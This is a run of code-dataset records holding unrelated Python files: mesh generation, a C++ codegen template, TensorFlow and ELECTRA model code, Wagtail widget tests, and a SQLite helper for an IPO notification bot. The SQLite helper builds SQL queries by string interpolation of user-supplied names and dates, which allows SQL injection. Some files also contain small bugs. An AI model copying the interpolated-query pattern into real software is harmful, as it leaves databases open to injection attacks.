FUNCTIONS AT ALL NODAL POINTS\n hpBases = Tet.hpNodal.hpBases\n Neval = np.zeros((4,eps.shape[0]),dtype=np.float64)\n for i in range(4,eps.shape[0]):\n Neval[:,i] = hpBases(0,eps[i,0],eps[i,1],eps[i,2],Transform=1,EvalOpt=1,equally_spaced=True)[0]\n\n # THIS IS NECESSARY FOR REMOVING DUPLICATES\n makezero(Neval, tol=1e-12)\n\n nodeperelem = mesh.elements.shape[1]\n renodeperelem = int((C+2.)*(C+3.)*(C+4.)/6.)\n left_over_nodes = renodeperelem - nodeperelem\n\n reelements = -1*np.ones((mesh.elements.shape[0],renodeperelem),dtype=np.int64)\n reelements[:,:4] = mesh.elements\n # TOTAL NUMBER OF (INTERIOR+EDGE+FACE) NODES\n iesize = np.int64(C*(C-1)*(C-2)/6. + 6.*C + 2*C*(C-1))\n repoints = np.zeros((mesh.points.shape[0]+iesize*mesh.elements.shape[0],3),dtype=np.float64)\n repoints[:mesh.points.shape[0],:]=mesh.points\n\n telements = time()\n\n xycoord_higher=[]; ParallelTuple1=[]\n if Parallel:\n # GET HIGHER ORDER COORDINATES - PARALLEL\n ParallelTuple1 = parmap.map(ElementLoopTet,np.arange(0,mesh.elements.shape[0]),mesh.elements,mesh.points,'tet',eps,\n Neval,pool=MP.Pool(processes=nCPU))\n\n maxNode = np.max(reelements)\n for elem in range(0,mesh.elements.shape[0]):\n # maxNode = np.max(reelements) # BIG BOTTLENECK\n if Parallel:\n xycoord_higher = ParallelTuple1[elem]\n else:\n xycoord = mesh.points[mesh.elements[elem,:],:]\n # GET HIGHER ORDER COORDINATES\n xycoord_higher = GetInteriorNodesCoordinates(xycoord,'tet',elem,eps,Neval)\n\n # EXPAND THE ELEMENT CONNECTIVITY\n newElements = np.arange(maxNode+1,maxNode+1+left_over_nodes)\n reelements[elem,4:] = newElements\n # INSTEAD COMPUTE maxNode BY INDEXING\n maxNode = newElements[-1]\n\n repoints[mesh.points.shape[0]+elem*iesize:mesh.points.shape[0]+(elem+1)*iesize] = xycoord_higher[4:,:]\n\n if Parallel:\n del ParallelTuple1\n\n telements = time()-telements\n #--------------------------------------------------------------------------------------\n # NOW REMOVE DUPLICATED POINTS\n tnodes = time()\n\n nnode_linear = mesh.points.shape[0]\n # KEEP ZEROFY ON, OTHERWISE YOU GET STRANGE BEHVAIOUR\n # rounded_repoints = makezero(repoints[nnode_linear:,:].copy())\n rounded_repoints = repoints[nnode_linear:,:].copy()\n makezero(rounded_repoints)\n rounded_repoints = np.round(rounded_repoints,decimals=Decimals)\n\n _, idx_repoints, inv_repoints = unique2d(rounded_repoints,order=False,\n consider_sort=False,return_index=True,return_inverse=True)\n # idx_repoints.sort()\n del rounded_repoints\n\n idx_repoints = np.concatenate((np.arange(nnode_linear),idx_repoints+nnode_linear))\n repoints = repoints[idx_repoints,:]\n\n unique_reelements, inv_reelements = np.unique(reelements[:,4:],return_inverse=True)\n unique_reelements = unique_reelements[inv_repoints]\n reelements = unique_reelements[inv_reelements]\n reelements = reelements.reshape(mesh.elements.shape[0],renodeperelem-4)\n reelements = np.concatenate((mesh.elements,reelements),axis=1)\n\n # SANITY CHECK fOR DUPLICATES\n #---------------------------------------------------------------------#\n # NOTE THAT THIS REMAPS THE ELEMENT CONNECTIVITY FOR THE WHOLE MESH\n # AND AS A RESULT THE FIRST FEW COLUMNS WOULD NO LONGER CORRESPOND TO\n # LINEAR CONNECTIVITY\n if check_duplicates:\n last_shape = repoints.shape[0]\n deci = int(Decimals)-2\n if Decimals < 6:\n deci = Decimals\n repoints, idx_repoints, inv_repoints = remove_duplicates_2D(repoints, decimals=deci)\n unique_reelements, inv_reelements = np.unique(reelements,return_inverse=True)\n unique_reelements = unique_reelements[inv_repoints]\n reelements = unique_reelements[inv_reelements]\n reelements = reelements.reshape(mesh.elements.shape[0],renodeperelem)\n if last_shape != repoints.shape[0]:\n warn('Duplicated points generated in high order mesh. Lower the \"Decimals\". I have fixed it for now')\n #---------------------------------------------------------------------#\n\n tnodes = time() - tnodes\n #------------------------------------------------------------------------------------------\n\n\n #------------------------------------------------------------------------------------------\n if compute_boundary_info:\n # BUILD FACES NOW\n tfaces = time()\n # GET MESH EDGES AND FACES\n fsize = int((C+2.)*(C+3.)/2.)\n refaces = np.zeros((mesh.faces.shape[0],fsize),dtype=mesh.faces.dtype)\n\n refaces = np.zeros((mesh.faces.shape[0],fsize))\n # DO NOT CHANGE THE FACES, BY RECOMPUTING THEM, AS THE LINEAR FACES CAN COME FROM\n # AN EXTERNAL MESH GENERATOR, WHOSE ORDERING MAY NOT BE THE SAME, SO JUST FIND WHICH\n # ELEMENTS CONTAIN THESE FACES\n face_to_elements = mesh.GetElementsWithBoundaryFacesTet()\n node_arranger = NodeArrangementTet(C)[0]\n\n refaces = reelements[face_to_elements[:,0][:,None],node_arranger[face_to_elements[:,1],:]].astype(mesh.faces.dtype)\n\n tfaces = time()-tfaces\n #------------------------------------------------------------------------------------------\n\n #------------------------------------------------------------------------------------------\n # BUILD EDGES NOW\n tedges = time()\n\n # BUILD A 2D MESH\n from Florence import Mesh\n tmesh = Mesh()\n tmesh.element_type = \"tri\"\n tmesh.elements = refaces\n tmesh.nelem = tmesh.elements.shape[0]\n # GET BOUNDARY EDGES\n reedges = tmesh.GetEdgesTri()\n del tmesh\n\n tedges = time()-tedges\n #------------------------------------------------------------------------------------------\n\n class nmesh(object):\n # \"\"\"Construct pMesh\"\"\"\n points = repoints\n elements = reelements\n edges = np.array([[],[]])\n faces = np.array([[],[]])\n nnode = repoints.shape[0]\n nelem = reelements.shape[0]\n info = 'tet'\n if compute_boundary_info:\n nmesh.edges = reedges\n nmesh.faces = refaces\n\n gc.collect()\n\n\n # print '\\nHigh order meshing timing:\\n\\t\\tElement loop:\\t '+str(telements)+' seconds\\n\\t\\tNode loop:\\t\\t '+str(tnodes)+\\\n # ' seconds'+'\\n\\t\\tEdge loop:\\t\\t '+str(tedges)+' seconds'+\\\n # '\\n\\t\\tFace loop:\\t\\t '+str(tfaces)+' seconds\\n'\n\n return nmesh","sub_path":"Florence/MeshGeneration/HigherOrderMeshing/HigherOrderMeshingTet.py","file_name":"HigherOrderMeshingTet.py","file_ext":"py","file_size_in_byte":8229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"609922572","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\nclass CodeGeneratorInfo:\n def __init__(self):\n self.base_indent = 1\n self.insert_space_around_operators = False\n\n # global変数宣言時の接頭辞\n self.global_prefix = \"\"\n\n # ループ\n self.loop_header = \"for(int {loop_var} = 0 ; {loop_var} < {length} ; {loop_var}++){{\"\n self.loop_footer = \"}\"\n\n # タイプ\n self.type_int = \"long long\"\n self.type_float = \"long double\"\n self.type_string = \"std::string\"\n\n # デフォルト値\n self.default_int = \"0\"\n self.default_float = \"0.0\"\n self.default_string = \"\\\"\\\"\"\n\n # 宣言\n self.declare_int = \"long long {name};\"\n self.declare_float = \"long double {name};\"\n self.declare_string = \"std::string {name};\"\n self.declare_seq = \"std::std::vector<{type}> {name};\"\n self.declare_2d_seq = \"std::vector> {name};\"\n\n # 確保\n self.allocate_seq = \"{name}.assign({length}, {default});\"\n self.allocate_2d_seq = \"{name}.assign({length_i}, std::vector<{type}>({length_j}));\"\n\n # 宣言と確保\n self.declare_and_allocate_seq = \"std::vector<{type}> {name}({length});\"\n self.declare_and_allocate_2d_seq = \"std::vector> {name}({length_i}, std::vector<{type}>({length_j}));\"\n\n # 入力\n self.input_int = \"std::cin >> {name};\"\n self.input_float = \"std::cin >> {name};\"\n self.input_string = \"std::cin >> {name};\"\n\n # 引数\n self.arg_int = \"long long {name}\"\n self.arg_float = \"double {name}\"\n self.arg_string = \"std::string {name}\"\n self.arg_seq = \"std::vector<{type}> {name}\"\n self.arg_2d_seq = \"std::vector> {name}\"\n\n # 引数への渡し方\n self.actual_argument_1d = \"std::move({name})\"\n self.actual_argument_2d = \"std::move({name})\"\n\n # 配列アクセス\n self.access_1d = \"{name}[i]\"\n self.access_2d = \"{name}[i][j]\"\n","sub_path":"atcodertools/codegen/code_generators/universal_generator/cpp.py","file_name":"cpp.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"580285485","text":"import tensorflow as tf\nimport copy\nimport random\nfrom collections import OrderedDict\n\nfrom tensorflow.python.layers.core import Dense\nfrom tensorflow.nn.rnn_cell import LSTMStateTuple\n\nfrom icecaps.estimators.estimator_group import EstimatorGroup\nfrom icecaps.estimators.estimator_chain import EstimatorChain\nfrom icecaps.estimators.seq2seq_encoder_estimator import Seq2SeqEncoderEstimator\nfrom icecaps.estimators.seq2seq_decoder_estimator import Seq2SeqDecoderEstimator\nfrom icecaps.estimators.noise_layer import NoiseLayer\nfrom icecaps.estimators.abstract_icecaps_estimator import AbstractIcecapsEstimator\nfrom icecaps.estimators.abstract_recurrent_estimator import AbstractRecurrentEstimator\nfrom icecaps.estimators.abstract_transformer_estimator import AbstractTransformerEstimator\nfrom icecaps.estimators.convolutional_estimator import ConvolutionalEstimator\nfrom icecaps.util.vocabulary import Vocabulary\n\n\nclass SanEncoderEstimator(AbstractRecurrentEstimator):\n\n def __init__(self, model_dir=\"/tmp\", params=dict(), config=None, scope=\"\"):\n super().__init__(model_dir, params, config, scope)\n\n def _model_fn(self, features, mode, params):\n with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE):\n self.extract_args(features, mode, params)\n self.init_inputs()\n self.build_lexical_embeddings()\n self.query_outputs, _ = self.build_contextual_encoding(\n self.query, \"query\")\n self.document_outputs, _ = self.build_contextual_encoding(\n self.document, \"document\")\n self.outputs, self.last_state = self.build_memory()\n if mode == tf.estimator.ModeKeys.PREDICT:\n self.predictions = self.flatten_nested_tensors({\n \"inputs\": self.features[\"inputs\"],\n \"document\": self.document,\n \"outputs\": self.outputs,\n \"state\": self.last_state,\n \"length\": self.query_length,\n \"token_embeddings\": self.token_embeddings,\n })\n return tf.estimator.EstimatorSpec(mode, predictions=self.predictions)\n if mode == tf.estimator.ModeKeys.TRAIN:\n self.build_optimizer()\n raise NotImplementedError(\n \"Training not currently supported for seq2seq encoder.\")\n if mode == tf.estimator.ModeKeys.EVAL:\n print(\"Number of parameters: \" +\n str(self.get_num_model_params()))\n self.eval_metric_ops = dict()\n raise NotImplementedError(\n \"Evaluation not currently supported for seq2seq encoder.\")\n\n def init_inputs(self):\n self.query = self.features[\"inputs\"]\n self.document = self.features[\"document\"]\n self.batch_size = tf.shape(self.query)[0]\n self.query_mask = tf.cast(tf.not_equal(\n self.query, self.vocab.end_token_id), tf.float32)\n self.query_length = tf.cast(tf.count_nonzero(\n self.query - self.vocab.end_token_id, -1), tf.int32)\n\n def build_lexical_embeddings(self):\n self.token_embeddings = tf.get_variable(\n name='embedding', shape=[self.vocab.size(), self.hparams.token_embed_dim])\n if \"embeddings\" in self.features:\n self.token_embeddings = lexical_dnn.model_fn(\n self.features[\"embeddings\"], tf.estimator.ModeKeys.PREDICT, self.params)\n\n def build_cell(self, signal, length, name=''):\n cell_fw = self.build_multi_cell(name=name+'/qfw')\n cell_bw = self.build_multi_cell(name=name+'/qbw')\n contextual_outputs, contextual_state = tf.nn.bidirectional_dynamic_rnn(\n cell_fw=cell_fw, cell_bw=cell_bw,\n inputs=signal, sequence_length=length,\n time_major=False, dtype=tf.float32)\n contextual_outputs = contextual_outputs[0] + contextual_outputs[1]\n contextual_state = contextual_state[0]\n return contextual_outputs, contextual_state\n\n def build_contextual_encoding(self, inputs_, name=\"\"):\n embedded = tf.nn.embedding_lookup(\n params=self.token_embeddings, ids=inputs_)\n embedded = tf.contrib.layers.maxout(\n embedded, self.hparams.hidden_units)\n length = tf.cast(tf.count_nonzero(\n self.query - self.vocab.end_token_id, -1), tf.int32)\n return self.build_cell(embedded, length, name + \"/contextual\")\n\n def attention(self, query, key, value, mask):\n scores = tf.matmul(query, tf.transpose(\n key, [0, 2, 1])) / tf.sqrt(float(self.hparams.hidden_units))\n scores = tf.transpose(scores, [1, 0, 2]) * mask - 1e24 * (1.0 - mask)\n scores = tf.transpose(scores, [1, 0, 2])\n p_attn = tf.nn.softmax(scores)\n p_attn = tf.nn.dropout(p_attn, keep_prob=self.keep_prob)\n attended_values = tf.matmul(p_attn, value)\n return attended_values\n\n def build_memory(self):\n query_keys = tf.layers.dense(\n self.query_outputs, self.hparams.hidden_units)\n query_values = tf.layers.dense(\n self.query_outputs, self.hparams.hidden_units)\n signal = self.attention(\n self.document_outputs, query_keys, query_values, self.query_mask)\n signal_keys = tf.layers.dense(signal, self.hparams.hidden_units)\n signal_values = tf.layers.dense(signal, self.hparams.hidden_units)\n signal = self.attention(signal, signal_keys,\n signal_values, self.query_mask)\n return self.build_cell(signal, self.query_length, \"memory\")\n\n def build_loss(self):\n raise NotImplementedError(\"No loss function for CMR encoder.\")\n","sub_path":"icecaps/estimators/san_encoder_estimator.py","file_name":"san_encoder_estimator.py","file_ext":"py","file_size_in_byte":5718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"573128126","text":"import sqlite3\nimport sys\n\nDB_PATH = \"ipocache.db\"\n\ndef createTable():\n conn = sqlite3.connect(DB_PATH)\n conn.execute('''CREATE TABLE if not exists IPOLIST\n (\n COMPANY TEXT NOT NULL,\n OPEN_DATE TEXT ,\n CLOSE_DATE TEXT,\n OFFER_PRICE TEXT,\n ISSUE_TYPE TEXT,\n ISSUE_SIZE_CR TEXT,\n LINK TEXT,\n PRIMARY KEY (COMPANY, OPEN_DATE)\n );''')\n conn.execute('''CREATE TABLE if not exists USERLIST\n (\n USER_ID TEXT NOT NULL,\n ADD_DATA1 TEXT ,\n ADD_DATA2 TEXT,\n ADD_DATA3 TEXT,\n ADD_DATA4 TEXT,\n ADD_DATA5 TEXT,\n IS_ACTIVE INT,\n PRIMARY KEY (USER_ID)\n );''')\n \n conn.execute('''CREATE TABLE if not exists PREFS\n (\n NAME TEXT NOT NULL,\n VALUE TEXT ,\n PRIMARY KEY (NAME)\n );''')\n \n c = conn.cursor()\n c.execute(\"INSERT INTO PREFS VALUES ('scheduler_running','0')\")\n conn.commit()\n \n log(\"Table created successfully\");\n\n conn.close()\n\ndef isTableExist():\n select_stmt = \"SELECT count(*) FROM sqlite_master WHERE type='table' AND name='IPOLIST'\"\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute(select_stmt)\n a = c.fetchone()\n conn.close()\n return a[0]\n\ndef hasIPO(ipoData):\n select_stmt = \"SELECT * FROM IPOLIST WHERE COMPANY = '%s' AND OPEN_DATE = '%s'\" % (ipoData[0], ipoData[1])\n return executeSelect(select_stmt)\n \ndef updateIPO(ipoData):\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute( \"\"\"UPDATE IPOLIST SET CLOSE_DATE = ? ,OFFER_PRICE = ?,ISSUE_TYPE = ?,ISSUE_SIZE_CR = ?,LINK = ? WHERE COMPANY= ? AND OPEN_DATE = ?\"\"\",\n (ipoData[2],ipoData[3],ipoData[4],ipoData[5],ipoData[6],ipoData[0],ipoData[1]))\n conn.commit()\n conn.close()\n return\n\ndef insertIPO(ipo):\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n try:\n c.execute('INSERT INTO IPOLIST VALUES (?,?,?,?,?,?,?)', ipo)\n conn.commit()\n log(\"ipo \"+ ipo[0] +\"inserted successfully\");\n except sqlite3.IntegrityError:\n log(\"trying to add duplicate ipo\")\n conn.close()\n\n##TODO if user exists remove him\ndef insertUser(user_id):\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n try:\n c.execute(\"INSERT INTO USERLIST VALUES (?,'','','','','',1)\", [user_id])\n conn.commit()\n log(\"user inserted successfully\");\n except sqlite3.IntegrityError:\n log(\"trying to add duplicate user\")\n conn.close()\n\n\ndef getLast10IPO():\n select_stmt = \"SELECT * FROM IPOLIST ORDER BY OPEN_DATE DESC LIMIT 10\"\n return executeSelect(select_stmt)\n \n#Provide IPO Name in UPPER CASE ONLY \ndef getIPO(ipoName):\n select_stmt = \"SELECT * FROM IPOLIST WHERE COMPANY LIKE '%\"+ipoName+\"%'\"\n return executeSelect(select_stmt)\n \n#date fore mate 2017-12-30\ndef getIPObyopenDate(date):\n select_stmt = \"SELECT * FROM IPOLIST WHERE OPEN_DATE = '%s'\" % (date)\n return executeSelect(select_stmt)\n\n#date fore mate 2017-12-30\ndef getIPObycloseDate(date):\n select_stmt = \"SELECT * FROM IPOLIST WHERE CLOSE_DATE = '%s'\" % (date)\n return executeSelect(select_stmt)\n\ndef getIPOwithinDate(date,withOutBoundry):\n select_stmt = \"SELECT * FROM IPOLIST WHERE OPEN_DATE <= '%s' AND CLOSE_DATE >= '%s'\" % (date,date)\n if withOutBoundry:\n select_stmt = \"SELECT * FROM IPOLIST WHERE OPEN_DATE < '%s' AND CLOSE_DATE > '%s'\" % (date,date)\n return executeSelect(select_stmt)\n\ndef getCurrentAndUpcomingIPO(date):\n select_stmt = \"SELECT * FROM IPOLIST WHERE OPEN_DATE >= '%s' OR CLOSE_DATE >= '%s'\" % (date,date)\n return executeSelect(select_stmt)\n\ndef getIPOOpenDateGreaterThanDate(date):\n select_stmt = \"SELECT * FROM IPOLIST WHERE OPEN_DATE > '%s'\" % (date)\n return executeSelect(select_stmt)\n\ndef getUserIdList(active):\n log(\"get user id\")\n select_stmt = \"SELECT USER_ID FROM USERLIST WHERE IS_ACTIVE = '%s'\" % (active)\n list = executeSelect(select_stmt)\n log(list)\n return list\n\ndef removeuser(user_id):\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute( \"UPDATE USERLIST SET IS_ACTIVE = '0' WHERE USER_ID = ?\",user_id)\n conn.commit()\n conn.close()\n return\n\ndef executeSelect(select_stmt):\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute(select_stmt)\n datalist = c.fetchall()\n conn.close()\n return datalist\n \ndef dropTableIPO():\n conn = sqlite3.connect(DB_PATH)\n conn.execute(\"DROP TABLE IF EXISTS IPOLIST\")\n conn.close()\n log(\"Table removed IPO\")\n \ndef dropTableUser():\n conn = sqlite3.connect(DB_PATH)\n conn.execute(\"DROP TABLE IF EXISTS USERLIST\")\n conn.close()\n log(\"Table removed user\")\n \ndef isSchedulerRunning():\n select_stmt = \"SELECT * FROM PREFS WHERE NAME = 'scheduler_running'\"\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute(select_stmt)\n a = c.fetchone()\n conn.close()\n if a[1] == '0':\n return False\n else:\n return True\n \ndef schedulerRunning(value):\n prefVal = '0'\n if value:\n prefVal = '1'\n conn = sqlite3.connect(DB_PATH)\n c = conn.cursor()\n c.execute(\"\"\"UPDATE PREFS SET VALUE = ? WHERE NAME = 'scheduler_running'\"\"\",(prefVal))\n conn.commit()\n conn.close()\n return\n \n\ndef log(message): # simple wrapper for logging to stdout on heroku\n print(message)\n sys.stdout.flush()\n","sub_path":"DBHelper.py","file_name":"DBHelper.py","file_ext":"py","file_size_in_byte":5589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"392242026","text":"from django.test import TestCase\nfrom django.test.utils import override_settings\n\nfrom wagtail.admin import widgets\nfrom wagtail.core.models import Page\nfrom wagtail.tests.testapp.models import EventPage, SimplePage\n\n\nclass TestAdminPageChooserWidget(TestCase):\n def setUp(self):\n self.root_page = Page.objects.get(id=2)\n\n # Add child page\n self.child_page = SimplePage(\n title=\"foobarbaz\",\n content=\"hello\",\n )\n self.root_page.add_child(instance=self.child_page)\n\n def test_not_hidden(self):\n widget = widgets.AdminPageChooser()\n self.assertFalse(widget.is_hidden)\n\n def test_render_html(self):\n widget = widgets.AdminPageChooser()\n\n html = widget.render_html('test', None, {})\n self.assertInHTML(\"\"\"\"\"\", html)\n self.assertIn(\">Choose a page<\", html)\n\n def test_render_js_init(self):\n widget = widgets.AdminPageChooser()\n\n js_init = widget.render_js_init('test-id', 'test', None)\n self.assertEqual(js_init, \"createPageChooser(\\\"test-id\\\", [\\\"wagtailcore.page\\\"], null, false, null);\")\n\n def test_render_js_init_with_user_perm(self):\n widget = widgets.AdminPageChooser(user_perms='copy_to')\n\n js_init = widget.render_js_init('test-id', 'test', None)\n self.assertEqual(js_init, \"createPageChooser(\\\"test-id\\\", [\\\"wagtailcore.page\\\"], null, false, \\\"copy_to\\\");\")\n\n def test_render_html_with_value(self):\n widget = widgets.AdminPageChooser()\n\n html = widget.render_html('test', self.child_page, {})\n self.assertInHTML(\"\"\"\"\"\" % self.child_page.id, html)\n\n def test_render_js_init_with_value(self):\n widget = widgets.AdminPageChooser()\n\n js_init = widget.render_js_init('test-id', 'test', self.child_page)\n self.assertEqual(\n js_init, \"createPageChooser(\\\"test-id\\\", [\\\"wagtailcore.page\\\"], %d, false, null);\" % self.root_page.id\n )\n\n # def test_render_html_init_with_content_type omitted as HTML does not\n # change when selecting a content type\n\n def test_render_js_init_with_target_model(self):\n widget = widgets.AdminPageChooser(target_models=[SimplePage])\n\n js_init = widget.render_js_init('test-id', 'test', None)\n self.assertEqual(js_init, \"createPageChooser(\\\"test-id\\\", [\\\"tests.simplepage\\\"], null, false, null);\")\n\n html = widget.render_html('test', self.child_page, {})\n self.assertIn(\">Choose a page (Simple Page)<\", html)\n\n def test_render_js_init_with_multiple_target_models(self):\n target_models = [SimplePage, EventPage]\n widget = widgets.AdminPageChooser(target_models=target_models)\n\n js_init = widget.render_js_init('test-id', 'test', None)\n self.assertEqual(\n js_init, \"createPageChooser(\\\"test-id\\\", [\\\"tests.simplepage\\\", \\\"tests.eventpage\\\"], null, false, null);\"\n )\n\n html = widget.render_html('test', self.child_page, {})\n self.assertIn(\">Choose a page (Simple Page, Event Page)<\", html)\n\n def test_render_js_init_with_can_choose_root(self):\n widget = widgets.AdminPageChooser(can_choose_root=True)\n\n js_init = widget.render_js_init('test-id', 'test', self.child_page)\n self.assertEqual(\n js_init, \"createPageChooser(\\\"test-id\\\", [\\\"wagtailcore.page\\\"], %d, true, null);\" % self.root_page.id\n )\n\n\nclass TestAdminDateInput(TestCase):\n\n def test_render_js_init(self):\n widget = widgets.AdminDateInput()\n\n html = widget.render('test', None, attrs={'id': 'test-id'})\n\n self.assertInHTML('', html)\n\n # we should see the JS initialiser code:\n # initDateChooser(\"test-id\", {\"dayOfWeekStart\": 0, \"format\": \"Y-m-d\"});\n # except that we can't predict the order of the config options\n self.assertIn('initDateChooser(\"test\\\\u002Did\", {', html)\n self.assertIn('\"dayOfWeekStart\": 0', html)\n self.assertIn('\"format\": \"Y-m-d\"', html)\n\n def test_render_js_init_with_format(self):\n widget = widgets.AdminDateInput(format='%d.%m.%Y.')\n\n html = widget.render('test', None, attrs={'id': 'test-id'})\n self.assertIn(\n '\"format\": \"d.m.Y.\"',\n html,\n )\n\n @override_settings(WAGTAIL_DATE_FORMAT='%d.%m.%Y.')\n def test_render_js_init_with_format_from_settings(self):\n widget = widgets.AdminDateInput()\n\n html = widget.render('test', None, attrs={'id': 'test-id'})\n self.assertIn(\n '\"format\": \"d.m.Y.\"',\n html,\n )\n\n\nclass TestAdminDateTimeInput(TestCase):\n\n def test_render_js_init(self):\n widget = widgets.AdminDateTimeInput()\n\n html = widget.render('test', None, attrs={'id': 'test-id'})\n\n self.assertInHTML('', html)\n\n # we should see the JS initialiser code:\n # initDateTimeChooser(\"test-id\", {\"dayOfWeekStart\": 0, \"format\": \"Y-m-d H:i\"});\n # except that we can't predict the order of the config options\n self.assertIn('initDateTimeChooser(\"test\\\\u002Did\", {', html)\n self.assertIn('\"dayOfWeekStart\": 0', html)\n self.assertIn('\"format\": \"Y-m-d H:i\"', html)\n\n def test_render_js_init_with_format(self):\n widget = widgets.AdminDateTimeInput(format='%d.%m.%Y. %H:%M')\n\n html = widget.render('test', None, attrs={'id': 'test-id'})\n self.assertIn(\n '\"format\": \"d.m.Y. H:i\"',\n html,\n )\n\n @override_settings(WAGTAIL_DATETIME_FORMAT='%d.%m.%Y. %H:%M')\n def test_render_js_init_with_format_from_settings(self):\n widget = widgets.AdminDateTimeInput()\n\n html = widget.render('test', None, attrs={'id': 'test-id'})\n self.assertIn(\n '\"format\": \"d.m.Y. H:i\"',\n html,\n )\n","sub_path":"wagtail/admin/tests/test_widgets.py","file_name":"test_widgets.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"360251118","text":"import torch.nn as nn\nfrom transformers import ElectraPreTrainedModel, ElectraModel\nfrom transformers.file_utils import add_start_docstrings_to_callable\nfrom transformers.modeling_electra import ELECTRA_INPUTS_DOCSTRING\nfrom ai_harness import harnessutils as utils\n\nlog = utils.getLogger('task')\n\n\nclass ElectraForSequenceClassificationX(ElectraPreTrainedModel):\n def __init__(self, config):\n super().__init__(config)\n\n self.electra = ElectraModel(config)\n\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n self.classifier = nn.Linear(config.hidden_size, config.num_labels)\n self.init_weights()\n\n @add_start_docstrings_to_callable(ELECTRA_INPUTS_DOCSTRING)\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n token_type_ids=None,\n position_ids=None,\n head_mask=None,\n inputs_embeds=None,\n labels=None,\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`, defaults to :obj:`None`):\n Labels for computing the sequence classification/regression loss.\n Indices should be in :obj:`[0, ..., config.num_labels - 1]`.\n If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss),\n If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy).\n\n Returns:\n :obj:`tuple(torch.FloatTensor)` comprising various elements depending on the configuration (:class:`~transformers.BertConfig`) and inputs:\n loss (:obj:`torch.FloatTensor` of shape :obj:`(1,)`, `optional`, returned when :obj:`label` is provided):\n Classification (or regression if config.num_labels==1) loss.\n logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, config.num_labels)`):\n Classification (or regression if config.num_labels==1) scores (before SoftMax).\n hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_hidden_states=True``):\n Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)\n of shape :obj:`(batch_size, sequence_length, hidden_size)`.\n\n Hidden-states of the model at the output of each layer plus the initial embedding outputs.\n attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_attentions=True``):\n Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape\n :obj:`(batch_size, num_heads, sequence_length, sequence_length)`.\n\n Attentions weights after the attention softmax, used to compute the weighted average in the self-attention\n heads.\n\n Examples::\n\n from transformers import ElectraTokenizer, ElectraForTokenClassification\n import torch\n\n tokenizer = ElectraTokenizer.from_pretrained('google/electra-small-discriminator')\n model = ElectraForTokenClassification.from_pretrained('google/electra-small-discriminator')\n\n input_ids = torch.tensor(tokenizer.encode(\"Hello, my dog is cute\", add_special_tokens=True)).unsqueeze(0) # Batch size 1\n labels = torch.tensor([1]).unsqueeze(0) # Batch size 1\n outputs = model(input_ids, labels=labels)\n\n loss, scores = outputs[:2]\n\n \"\"\"\n\n discriminator_hidden_states = self.electra(\n input_ids, attention_mask, token_type_ids, position_ids, head_mask, inputs_embeds\n )\n sequence_output = discriminator_hidden_states[0]\n\n first_token_tensor = sequence_output[:, 0, :]\n\n logits = self.classifier(first_token_tensor)\n\n outputs = (logits,)\n\n if labels is not None:\n if self.config.num_labels == 1:\n # We are doing regression\n loss_fct = nn.MSELoss()\n loss = loss_fct(logits.view(-1), labels.view(-1))\n else:\n loss_fct = nn.CrossEntropyLoss()\n loss = loss_fct(logits.view(-1, self.config.num_labels), labels.view(-1))\n outputs = (loss,) + outputs\n\n return outputs # (loss), logits,\n","sub_path":"transformersx/model/electra/modelingx_electra.py","file_name":"modelingx_electra.py","file_ext":"py","file_size_in_byte":4197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"141900676","text":"from DocumentStreamError import DocumentStreamError\r\n\r\nclass DocumentStream:\r\n def __init__(self):\r\n '''\r\n initiate self.text and self.slist(sentence list)\r\n '''\r\n self.text = ''\r\n self.slist = []\r\n self.firstline = ''\r\n\r\n def readfile(self, filename):\r\n '''\r\n read file to self.text if no error occurred\r\n or print Error Message\r\n '''\r\n result = DocumentStreamError.existFileName(filename)\r\n if result == \"Pass\":\r\n file = open(filename,'r')\r\n self.firstline = file.readline()\r\n self.text = file.read()\r\n file.close()\r\n else:\r\n print(\"Error occurred when openning file\")\r\n\r\n def readWhole(self, filename):\r\n '''\r\n from self.text split the text into the a list of sentences\r\n identified by !.?; or more than one space\r\n '''\r\n DocumentStream.readfile(self, filename)\r\n charindex = -1\r\n strlist = ''\r\n for i in self.text:\r\n charindex += 1\r\n strlist += i\r\n if i in '!.?; ':\r\n if charindex == len(self.text) - 1:\r\n self.slist.append(strlist)\r\n break\r\n elif i == ' ':\r\n if charindex == 0:\r\n strlist = ''\r\n continue\r\n elif self.text[charindex + 1] != ' ' and self.text[charindex - 1] not in '!.?; ':\r\n continue\r\n elif self.text[charindex + 1] == ' ':\r\n strlist = strlist[:-1]\r\n elif self.text[charindex - 1] in '!.?;':\r\n strlist = ''\r\n continue\r\n if strlist != '':\r\n self.slist.append(strlist)\r\n strlist = ''\r\n return self.slist\r\n\r\n def writeWhole(self, filename):\r\n '''\r\n write the text one sentence per line into a file called\r\n out + filename\r\n '''\r\n text = \"\"\r\n for i in 